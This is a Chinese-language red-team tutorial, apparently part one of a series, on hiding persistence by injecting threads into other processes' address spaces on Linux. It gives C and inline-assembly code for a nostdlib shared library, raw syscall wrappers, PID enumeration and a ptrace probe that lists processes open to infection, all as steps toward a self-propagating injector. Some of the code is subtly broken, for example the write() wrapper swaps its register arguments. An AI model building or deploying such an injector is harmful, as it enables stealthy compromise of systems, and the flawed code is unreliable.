对于红队来说,他们需要执行各种各样的任务,而在这些任务中,有一个任务特别重要,因为需要精心构造:也就是将APT植入目标系统中并且要确保其可持续访问。不过,这种可持续性机制都是基于文件的,就是将可执行文件放在不同的位置,然后使用某种技术来激活(比如shell脚本,别名,链接,系统启动脚本等)。这种方法虽然可行,但是容易被蓝队安全专家发现,蓝队安全专家只需要定位到APT文件的位置并且可以对其进行分析。
尽管蓝队安全专家迟早会发现,红队也有一些技巧来增加APT文件的隐秘性,让目标系统中的APT文件更加难以检测(至少可以延迟检测到的时间)。在本系列文章中,我们不会讲解常规的基于文件系统的APT存储,相反,我们会详细讲解一些基于进程树的可持续性机制。
条件
该技术将在X86-64 GNU/Linux系统中来进行。当然,这个理论也可以很轻易的扩展到其他操作系统,只要具有完整的调试API即可。需要满足的最小的条件是:任何较新的GCC版本即可。
使用其他进程的地址空间作为仓库
这种技术的核心就是使用正在运行的非特权进程的地址空间作为存储区域并且向它们注入两个线程:第一个线程会尝试感染其他进程,另外一个线程则包含了payload(在这个例子中,它会确保文件系统的可持续性),如果文件被删除了,它会换一个文件名重新还原。
不过有一点需要注意,这种技术将会严重受到主机运行时的限制,应该在那些不经常重启的系统中使用该技术,这可以看做是可持续机制的一种补充机制。
构造注入
显然,这种技术的关键就是代码注入本身。由于无法预先知道代码将存放在目标系统中的位置,所以该代码应该是位置独立的代码,也就是与位置无关。这就表明了我们需要使用动态链接库,因为它们可以“原样”存储在内存中。不过,这种注入技术有一些不足之处:
· 绝大多数注入信息都是元数据(比如头信息等)
· 解析和加载库所需要的代码虽然不是特别复杂,但是与payload相比,也是不能忽略的。
· 共享库使用众所周知的文件格式,使得结果文件也易于分析
理想情况下,注入的代码越少越好,几页代码就行,可以是数据的附加页面。这些都可以通过链接器脚本来实现。不过,对于这种POC,我们需要将共享库作为“第一容器”。
另外,还有一点限制需要注意的是,可能不需要加载目标进程作为动态可执行文件(因此,可能无法动态地加载C库)。而且,在加载的共享库上手工解析符号也是非常痛苦的,依赖于ABI,并且几乎无法维护,这表明很多标准C函数需要手动重新实现。
而且,这种注入技术是基于ptrace系统调用的,如果目标进程没有足够的权限(或者是管理员明确禁止使用此功能),那么这种方法基本上也就无效了。
最后还有一个限制是动态内存的使用。动态内存的使用涉及到堆处理,堆的内部结构是非常不标准的,比较复杂。一般来说,在程序的地址空间中占用大量内存是不合理的。所以,要尽量少使用动态内存来减少内存空间占用。
Roadmap
这个POC将会执行以下操作:
库会保留两个入口点。入口点的位置会提前知道(因为它们与可执行文件的起始位置的距离是固定的),并且与注入线程的主函数的起始位置相对应。
感染线程会列出系统中正在运行的进程,然后定位到那些可能被攻击的进程。
对每个进程会执行ptrace函数并进行内存读取,检测是否已经被感染。
为了准备目标地址空间,必须注入系统调用。这些系统调用必须分配必要的内存页面来存储注入的代码。
生成两个线程并继续执行已调试的进程
每个阶段的每一步都需要精心准备,我会在下面的部分跟大家详细解释。
准备环境
为了使得代码尽可能简洁,编译为共享库的小型C程序将作为一个起点。另外,在程序完全自主运行之前进行一些测试,将会提供另一个在库中运行特定符号的小型C程序。为了简化开发过程,还会提供一个包含了所有构建规则的makefile。
对于可注入库的入口点来说,将会使用一下模本文件:
1. void 2. persist(void) 3. { 4. /* Implement me */ 5. } 6. 7. void 8. propagate(void) 9. { 10. /* Implement me */ 11. }
执行入口点初始化执行过程的程序将被命名为“spawn.c”,代码如下:
1. #include <stdio.h> 2. #include <stdlib.h> 3. #include <dlfcn.h> 4. 5. int 6. main(int argc, char *argv[]) 7. { 8. void *handle; 9. void (*entry)(void); 10. 11. if (argc != 3) { 12. fprintf(stderr, "Usage\n%s file symbol\n", argv[0]); 13. exit(EXIT_FAILURE); 14. } 15. 16. if ((handle = dlopen(argv[1], RTLD_NOW)) == NULL) { 17. fprintf(stderr, "%s: failed to load %s: %s\n", argv[0], argv[1], dlerror()); 18. exit(EXIT_FAILURE); 19. } 20. 21. if ((entry = dlsym(handle, argv[2])) == NULL) { 22. fprintf(stderr, "%s: symbol `%s' not found in %s\n", argv[0], argv[2], argv[1]); 23. exit(EXIT_FAILURE); 24. } 25. 26. printf("Symbol `%s' found in %p. Jumping to function...\n", argv[2], entry); 27. 28. (entry) (); 29. 30. printf("Function returned!\n"); 31. 32. dlclose(handle); 33. return 0; 34. }
最后,将会编译两个程序的Makefile文件代码如下:
1. CC=gcc 2. INF_CFLAGS=--shared -fPIE -fPIC -nostdlib 3. 4. all : injectable.so spawn 5. 6. injectable.so : injectable.c 7. $(CC) $(INF_CFLAGS) injectable.c -o injectable.so 8. 9. spawn : spawn.c 10. $(CC) spawn.c -o spawn -ldl
接下来只需要输入make就可以编译一切了,命令如下:
1. % make 2. (…) 3. % ./spawn injectable.so propagate 4. Symbol `propagate' found in 0x7ffff76352ea. Jumping to function... 5. Function returned!
系统调用
关于上面的Makefile,有一点需要注意的是,injectable.so文件是使用-nostdlib进行编译的(必须这样),因此我们将无权限访问高级别的C系统调用接口。为了解决这个问题,需要一组C和内联汇编混合代码来与操作系统交互。
一般来说,x86-64Linux系统调用都是通过syscall指令来执行的(而在比较老的x86系统中,则使用了0x80中断)。在任何情景下,基本思想都是一样的:将系统调用参数写入寄存器,然后通过某种特殊指令来调用系统。使用系统调用函数的代码来初始化%rax的内容,其参数按照%rdi, %rsi, %rdx, %r10, %r8 和 %r9的顺序传递。返回值存储在%rax中,并且使用负返回值发出错误信号,负返回值也就是对应的错误编号的值。因此,一个使用了write()系统调用的简单的“hello world”的汇编代码如下:
1. movq $1, %rax // Syscall code for write(): 1 2. movq $1, %rdi // Arg 1: File descriptor (stdout) 3. leaq %rip(greeting), %rsi // Arg 2: Buffer address 4. movq $12, %rdx // Arg 3: size (12 bytes) 5. syscall // All set, call the kernel 6. […] 7. greeting: .ascii "Hello world\n"
由于GCC的内联汇编语法,在C中使用汇编代码也是很容易的,而且由于它的表达能力很好,所以它可以浓缩在一个语句里。GCC的一个写包装器可以简化成如下代码:
1. #include <unistd.h> 2. #include <syscall.h> 3. 4. ssize_t 5. write(int fd, const void *buffer, size_t size) 6. { 7. size_t result; 8. asm volatile("syscall" : "=a" (result) : "a" (__NR_write), "S" (fd), "D" (buffer), "d" (size); 9. return result; 10. }
“syscall”之后传递的值指定了在执行汇编代码前应该如何初始化寄存器。在这种情况下,%rax(指示符“a”)是用__NR__write来初始化的,__NR__write是一个扩展为系统调用代码以进行写入的宏,就像syscall.h中定义的一样,%rdi(指示符“D”)的初始化值为缓冲区地址,而%rsi(指示符“S”)的初始化值为字符串大小。返回值又在%rax中重新回收(指示符“=a”,等号的意思是“结果”是一个只写的值,而且编译器也不用去管初始值)。
由于字符串解析在很多程序中都是一个最基本的任务,所以这个程序也不例外。现在编写一个strlen的实现来计算字符串的长度也非常方便,参考下面这个string.h原型即可:
1. size_t 2. strlen(const char *buffer) 3. { 4. size_t len = 0; 5. 6. while (*buffer++) 7. ++len; 8. 9. return len; 10. }
其中允许定义以下宏:
1. #define puts(string) write(1, string, strlen(string))
这还提供了在标准输出中展示调试信息的一种简单的方法:
1. void 2. persist(void) 3. { 4. puts("This is persist()\n"); 5. } 6. 7. void 8. propagate(void) 9. { 10. puts("This is propagate()\n"); 11. }
一旦运行起来,会产生如下的输出结果:
1. % ./spawn injectable.so persist 2. Symbol `persist' found in 0x7f3eb58403be. Jumping to function... 3. This is persist() 4. Function returned! 5. % ./spawn injectable.so propagate 6. Symbol `propagate' found in 0x7fb8874403db. Jumping to function... 7. This is propagate() 8. Function returned!
这样一来,第一个难点就已经攻克了:从现在开始,对于任何缺少的系统调用功能,应该要实现一个相对应的C包装器,而且应该根据他们相对应的标准header原型来实现所需的库函数(比如strlen),因为我们需要它们。
遍历进程
为了将恶意代码注入到其他进程,第一步是先知道系统中有哪些可用的进程。要知道系统中的进程有两种方法:
· 访问/proc目录,并列举所有目录
· 使用kill命令来检测所有的PID,从PID为2到给定的最大的PID值
虽然第一种方法是最快的,但他也是最复杂的,因为如下几点:
· /proc目录可能没有挂载
· Linux缺少用于处理目录的opendir/readdir系统调用对。它实际上是基于open/getdents,会返回一个大小结构可变的缓冲区,该缓冲区应该手动处理。
· 必须手动将文件名转换为整数,以便提取它们引用的PID值。因为我们无法访问库函数,所以这种转换功能也应该手动实现。
第二种方法,虽然看似比较慢,但是它适用于现代所有的操作系统。在这种方法中,在一系列的PID中,使用single 0调用了好几次kill,如果PID存在则返回0,而且调用的进程可以向它发送信号(这反过来又与调用进程的权限有关),如果不存在则返回错误代码。
这里唯一未知的是最大的PID值,该值对于不同的操作系统而言不一定相同。好在,在绝大多数情况下,PID的最大值通常设置为默认值(32768)。当不发送信号时,使用kill命令还是非常快的,所以调用kill 33000次也是有可能的。
为了使用这种技术,需要一个kill的包装器。循环遍历2到32768之间所有可能的PID(因为PID1已经预留给了init),只要找到一个进程就会输出一条消息:
1. int 2. kill(pid_t pid, int sig) 3. { 4. int result; 5. asm volatile("syscall" : "=a" (result) : "a" (__NR_kill), "D" (pid), "S" (sig)); 6. return result; 7. }
这个时候,写一个函数来输出数字,以10为基数,也是比较重要的:
1. void 2. puti(unsigned int num) 3. { 4. unsigned int max = 1000000000; 5. char c; 6. unsigned int msd_found = 0; 7. 8. while (max > 0) { 9. c = '0' + num / max; 10. msd_found |= c != '0' || max == 1; 11. 12. if (msd_found) 13. write(1, &c, 1); 14. 15. num %= max; 16. max /= 10; 17. } 18. }
现在还要做的就是修改propagate()这个函数,以便能够执行遍历:
1. void 2. propagate(void) 3. { 4. pid_t pid; 5. 6. for (pid = 2; pid < PID_MAX; ++pid) if (kill(pid, 0) >= 0) { 7. puts("Process found: "); 8. puti(pid); 9. puts("\n"); 10. } 11. }
编译之后,结果应该如下所示:
1. % ./spawn injectable.so propagate 2. Process found: 1159 3. Process found: 1160 4. Process found: 1166 5. Process found: 1167 6. Process found: 1176 7. Process found: 1324 8. Process found: 1328 9. Process found: 1352 10. …
对于普通的GNU/Linux桌面发行版,找到可以向其发送信号的100多个进程是很常见的事情。这也就等于说,有超过100个的有可能被感染的目标。
尝试PTRACE_SEIZE
这是这种技术的主要脆弱点:由于访问限制,上面已经遍历出来的一些进程无法进行调试(比如setuid进程)。在每个找到的进程中,调用ptrace(PTRACE_SEIZE)可以用来识别哪些进程是可调式的。
虽然当需要调试一个正在运行的进程时,人们首先想到的通常都是使用PTARCE_ATTACK,但是这种方法是有副作用的:如果成功,它将停止调试对象,直到它在PTRACE_CONT中恢复。这可能会影响目标进程(特别是对时间敏感的进程),这样的话,用户就能够发现一些猫腻了。不过,PTRACE_SEIZE(在Linux3.4中引入),就不会停止目标进程。
根据libc,ptrace是一个可变函数,所以通过接收4个参数来简化包装器的原型还是很方便的,是否填充它们要依据请求的命令来定:
1. long 2. ptrace4(int request, pid_t pid, void *addr, void *data) 3. { 4. long result; 5. register void* r10 asm("r10") = data; 6. asm volatile("syscall" : "=a" (result) : "a" (__NR_ptrace), "S" (pid), "D" (request), "d" (addr)); 7. return result; 8. }
一个propagate函数应该如下所示:
1. void 2. propagate(void) 3. { 4. pid_t pid; 5. int err; 6. 7. for (pid = 2; pid < PID_MAX; ++pid) if (kill(pid, 0) >= 0) { 8. puts("Process found: "); 9. puti(pid); 10. puts(": "); 11. if ((err = ptrace4(PTRACE_SEIZE, pid, NULL, NULL)) >= 0) { 12. puts("seizable!\n"); 13. ptrace4(PTRACE_DETACH, pid, NULL, NULL); 14. } else { 15. puts("but cannot be debugged : ( [errno="); 16. puti(-err); 17. puts("]\n"); 18. } 19. } 20. }
这将会列举出系统中所有可调式的进程。
总结(暂时的小结)
前面的测试让我们迅速了解了这种技术的可行性。从现在开始,其他代码的编写跟我们所期待的普通的调试器不会有太大的区别,最大的区别是,我们的代码以自动方式运行。在下一篇文章中,我们将看到如何捕获调试器的系统调用以便远程注入我们自己的系统调用。这些远程系统调用,将会用来在生成的注入线程中创建代码和数据页面。